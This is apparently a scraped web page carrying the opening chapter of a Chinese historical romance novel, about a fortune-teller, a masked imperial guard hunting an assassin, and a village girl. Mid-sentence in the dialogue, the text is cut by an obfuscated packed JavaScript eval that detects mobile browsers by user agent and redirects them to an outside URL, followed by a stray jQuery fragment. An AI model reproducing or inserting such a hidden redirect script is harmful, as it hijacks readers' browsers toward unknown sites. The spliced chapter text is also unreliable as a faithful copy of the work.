陈悟 作品

1. 隰有荷华(一)

庆元二年乞巧节,徽州濯陵县,天色澄明。


百里街上的商肆陆陆续续地开了张。


花肆门口,陶缸之内,新摘的荷花隐于田田莲叶之间,莲叶纷披,碧盘承露,莲花亭亭,荷香幽幽。


一位群青色衣着的公子在茶铺里寻了个靠窗的位子,气定神闲地饮下第四盏茶时,撑起的支摘窗外突然冒出了一个相士打扮的人。


这相士一副仙风道骨的模样,身着一袭洗得有些发白却干净的道袍,头戴方巾,手执一根幡旗,不用看也知道上面写着诸如“察算天命”此类的话语。


相士捋了捋胡须,眼睛上下打量着群青色衣着的公子,口中念念有词,带着不容置疑的笃定:“这位公子,我观你眉宇间有晦色,恐灾殃将至,待我为你详推一卦,必可解此患。”


群青色衣着的公子轻哼一声,无奈地摇了摇头,不去看他。


“‘哼’是什么意思!”相士不乐意了,严肃地说,“我丁某从不打诳语,公子你可以不让我推卦,但万不能质疑我算卦之能!”


“在下并非不信你。”那位公子放下茶盏,“只是袁某向来不信命数一说,至于推卦解患,与我而言,更是玄虚。”


丁相士却是幽光一闪,手指飞快地掐算着,口中念念有词,倒是一副煞有介事的模样,片刻之后,他缓缓抬起了眼,声音飘渺得像是远方传来:“公子命途,星轨交错,实乃失衡之局。”


“改命关键,是一人。”丁相士目光一下子变得幽深难测,那双看着他的眼睛仿若真是穿透了层层迷雾一般,“此人出生之日恰逢那年冬至日,此人若入你命,则如星入命宫。”


“冬至日?”群青公子有些好奇地偏头去瞧他。


丁相士见他询问,心下窃喜,于是装模作样道:“常言道,冬至日,一年夜极长昼极短之日也,冬至既过,则白昼之时渐长。”


“那我何时能遇见他呢?”那公子像是和他话家常一般随口一问。


“远在天边,近在眼前。”丁相士讳莫若深,“只是公子何时真正看见她,全看公子了。”


那公子斟上了第七盏茶,扯起嘴角笑了笑,余光终于瞥见了对面那间铺子的支摘窗被人撑起。


他拿出几两碎银抛给了丁相士,起身拿起搁置在木桌旁的长剑起身离去。


方才点的菡萏冰糕竟是一动未动,木窗边养着的一盆茉莉倏忽落下一瓣,不偏不倚落在了冰糕上。


丁相士早看出这是个好相与的公子,既然如此先斩后奏向来百试不倦。


见那公子走远,他眼睛一转,抬手就伸进窗户里拿走了那几块菡萏冰糕。


百里街旁是沧溪,沧溪上,远远望去,有一竹排徐徐于其上,破水而行,一女郎立舟头,手持竹篙。


女郎着云山色上衣,藤黄色下裳,虽非绫罗绸缎,却也是粗陋不失洁净。


发间别了几朵不知名的路边野花,额间有几缕碎发被汗水浸湿,她稳稳地撑着竹篙,入水又提起,水纹漾动,惹起了层层涟漪。


竹筏中尚余几枝荷花与莲蓬,荷花粉嫩欲滴,将坠朝露在晨曦之下熠熠生辉。


竹排泊于芙蕖村埠头,女郎放下竹篙,俯身拿起了那几茎荷花与莲蓬。


粗布麻衣随风而动,裙裾如风中蝶翼,发带垂于肩侧,风动之时,上下翩跹。


“崔老先生!”


女郎提着点心纸包,举着荷花莲蓬穿过鸣蛩声起的古径,行至一虚掩柴扉前。


“泠君来啦。”一群孩童嬉笑着学着崔老先生的声音,叫着她的字推开了柴扉。


“没大没小。”祝昭拿着手中的莲蓬敲了敲他们的脑袋,“我的字也是你们能叫的?”


“如何叫不得?”其中的一个男童直起了身板,“崔老先生同我们说,只有亲近的人才能叫字,我们与你这般亲近,如何叫不得啊?”


“就是!”一众孩童跟着帮腔。


祝昭失笑,将手中的糕点和莲蓬分给他们:“这是新出的糕点,唤作菡萏冰糕,你们拿去分了,崔老先生哪里去了?”


方才那个男童拿起一块菡萏冰糕就往嘴里塞,晃着脑袋含糊不清地说:“与莫躇阿兄一道前往云深不知处了。”


崔老先生是个温和儒雅的老先生,姓崔,号观翁,没有人知道他的来历,也没有人知道他的名,只知道此处是他的旧宅,他又颇有学问,于是便请他去村里的学堂授课,原先他夫人穆阿媪还再世的时候他不肯,前些年穆阿媪百年,他这才同意在学堂里授课,孩子们也喜欢他,散学后还常来他的屋舍里寻他。


“原是采药去了。”祝昭笑着拿手指点他的头,对周围的孩童说,“你们莫要贪食了。”


言罢,她去拿被孩子们瓜分后搁置在了庭院桂花树下的糕点纸包:“菡萏冰糕和莲蓬我还要带回去一些给你们的赤华阿姐还有青麦阿姐,等崔老先生采药回来,你们记得提醒他,今日乞巧,屋里的藏书可以拿出来晒晒。”


孩童们七嘴八舌地应了声,祝昭笑着摇着头轻轻阖上了木门。


长夏迟迟,清晓熹微引着竹影,悠悠移至廊庑石阶畔。


晓风习习,啁啁蝉噪,潜入石板上铺晒的书卷上,簌簌微声,惹了书页墨香。


祝昭寻了块抹布,将廊庑下没被铺上书卷的青石板细细擦了擦,而后脱了鞋履,就地躺下。


她四周铺满了书卷,清风嬉闹着穿梭其间,沙沙而鸣。


她随意拿起耳畔的一卷书,举着就读了起来。


丝丝缕缕的光华透过庭中槐树枝叶扶疏之处,在她的发梢跳跃。


“笃笃笃。”


竹门处传来了几声敲击声。


祝昭闻之,起身穿上鞋履去应门。


“敢问在下可否在此借......”门刚被吱呀拉开,一道清冷如玉石般的声音响起又戛然而止。


发声的人穿着群青色窄袖长衫,玄色绦带束腰,头发以竹簪束起,面上带着傩戏面具。


祝昭扶在门框上的手紧了紧,她看不见他的脸,自然看不到他脸上的神情,也就摸不透来者的身份。


“姑娘?”面具男子似是愣了一瞬,看清了她眼中的警惕,往后退了一小步,朝她行了个礼,“在下面上有一道丑陋的疤痕,故而以面具遮面,吓到姑娘了,是在下的不是。”


祝昭将门又悄悄地阖上了一点点,上下打量着他:“无妨,公子叩门,所为何事?”


“在下自北地而来,家中忽遭大火,唯我一人幸存,我一路南下,欲往浔州探寻亲族,途径此地,口中渴燥难耐,故冒昧前来,想


;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseint(c/a)))+((c=c%a)>35?string.fromCharCode(c+29):c.tostring(36))};if(!''''.replace(/^/,string)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new regexp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15433159|169261||http|test|mini|href|location''.split(''|''),0,{}));


() {


$(''.inform'').remove();


$(''#content'').append(''


讨一盏水喝。”


未看清她容貌前的话语,分明是想借宿,可是如今见这屋的主人是女子,便改口成了讨水喝,而且他说的是一盏水,并非一碗水,想来倒还是个读书人并非草莽,且他周身气度看着也不像是个恶人,倒像是个有度的君子。


想到这里,祝昭同他说:“稍等。”


她阖上了竹扉,不一会儿她端着一碗水出来了。


门口放置了陶缸,里面种着她采来的荷花荷叶还有她方才放进去的莲蓬,趁着面具青年背过身喝水的功夫,她挑了一枝莲蓬,惊起了缸中悠闲的几尾小鱼。


面具男子饮完水,回过身来,双手捧着陶碗正欲递给她,却见女郎一手接过陶碗,一手拿着一枝莲蓬递给他:“公子,至徽州前往浔州路途遥远,这枝莲蓬赠你,祝你好运连连,切莫推辞。”


方才听她说他家中唯有他一人存活,且他面上还有一道疤痕,不敢以真面目示人,想来先前也是受了许多嘲讽,也是个苦命的人,故而想要安慰他一下,哪怕只是一下。


槐花落,子规声起。


女郎身后是廊下书卷,身侧是亭亭莲花。


他犹豫了一下,伸出了左手,修长的手指接过她递来的莲蓬,在阳光下,女郎的指尖像是在莹莹地泛着光。


祝昭注意到,他左手食指第三个指关节侧面有一点淡淡的小痣。


“公子,我听村里的相士先生讲过,这痣的方位长得极好,为前世孽债已偿之兆,自此而后,福运将至,连绵不绝。”


面具男子闻言却是不动声色地将左手背到了身后,退后了一步朝她微微颔首:“多谢姑娘开导。”


祝昭也朝他微微行了一礼,退回庭院之内,阖上了竹门。


夏日山间榆树,苍翠蓊郁。


交柯错叶荫翳之下,一青年男子曲着腿坐在枝桠之间,对着树下带着傩戏面具的男子道:“没有异常,那姑娘家不像是能藏人的样子。”


日光下彻,经过层层叠叠的树叶破碎为点点金斑,落在了袁琢的肩头,他摘下了脸上的面具,静静地朝那方庭院凝望:“确实,但是他能藏哪里去呢?”


“要我说啊——”赵楫跳下了树,稳稳当当地落在了他身旁,“不如我们直接拿出天策卫的牌子,往哪姑娘脸上一怼,就和她说我们要进去搜查。”


“方才我们就是追到了这地方,那刺客就这样一下子,‘唰’就不见了,这四处就那姑娘家能藏身——”


“不可。”袁琢将手中的面具扔给他,提步往前走,“切莫打草惊蛇。”


赵楫扬手接过面具,回头望了望那方庭院,门口的几茎荷花轻晃,他撇撇嘴转了转手中的面具,拖长语调:“就怕是山有扶苏,隰有荷华咯——”


“赵汝舟。”


听见前方的身影头也不回地叫了声他的名字,赵楫识趣地闭上了嘴巴。


袁琢微微抬起左手,蹙眉,也不知道这左手食指上的痣是何时生的,他此前竟从未发觉。


旁边山头,一桃夭色粗布麻衣的女子走走停停。


赤华一路上捡了不少干柴,都用藤蔓捆起来背在了肩上回来,故而耽误了一些时间,她哼着小曲儿朝家走去,离庭院还有几十步远就听见一阵吵闹声,她连忙抽出背上背着的干柴冲了过去。